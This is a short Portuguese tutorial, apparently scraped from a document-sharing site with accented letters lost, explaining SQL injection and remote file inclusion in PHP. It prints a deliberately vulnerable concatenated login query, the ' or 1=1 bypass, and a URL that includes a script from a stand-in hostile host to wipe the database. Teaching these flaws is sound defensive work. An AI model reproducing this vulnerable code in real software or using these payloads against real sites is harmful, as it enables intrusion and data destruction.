Você está na página 1de 2

Voc sabe o que SQL Injection?

Falaremos sobre um assunto muito importante, que envolve a segurana dos nossos
projetos em PHP e MySQL, o temido SQL Injection. Se voc programador com
certeza j ouviu respeito, mas se nunca entendeu ao certo vou explicar do que se trata.

O SQL Injection um ataque que visa enviar comandos nocivos base de dados atravs
de campos de formulrios ou atravs de URLs. Um ataque bem-sucedido pode, por
exemplo, apagar uma tabela do banco, deletar todos os dados da tabela ou at adquirir
senhas que estejam cadastradas.

Veja abaixo um exemplo de vulnerabilidade em um sistema de login:

$usuario = $_POST['usuario'];
$senha = $_POST['senha'];
$sql = "SELECT * FROM usuarios WHERE usuario = '".$usuario."' AND
senha = '".$senha."' ";
$processa = mysql_query($sql);

Neste exemplo as variveis $usuario e $senha recebem contedo vindo diretamente de


um formulrio atravs do mtodo POST. Imagine que o contedo da varivel $senha
seja or 1=1 . Se nenhuma validao for realizada, o usurio mal-intencionado ter
efetuado login no sistema sem ao menos ter especificado um cadastro vlido, devido a
uma falha gerada na instruo SQL.

Analisemos outro exemplo de vulnerabilidade. Muitos sites utilizam sistemas via


include() para organizar sua pginas internas, baseando-se numa varivel do mtodo
$_GET.

// Verifica se a varivel $_GET['pagina'] existe


if (isset($_GET['pagina'])) {
// Pega o valor da varivel $_GET['pagina']
$arquivo = $_GET['pagina'];
} else {
// Se no existir varivel, define um valor padro
$arquivo = 'home.php';
}
include ($arquivo); // Inclui o arquivo

E na URL do site voc poderia ter:


http://www.seusite.com.br/?pagina=contato.php

Com isso o invasor pode, por exemplo, colocar um caminho de um script externo no
lugar da varivel:
http://www.seusite.com.br/?pagina=http://malicioso.com/apaga-banco.php O seu site
incluiria o arquivo normalmente e executaria tudo que existe dentro dele e seu banco
poderia ser completamente zerado!

Você também pode gostar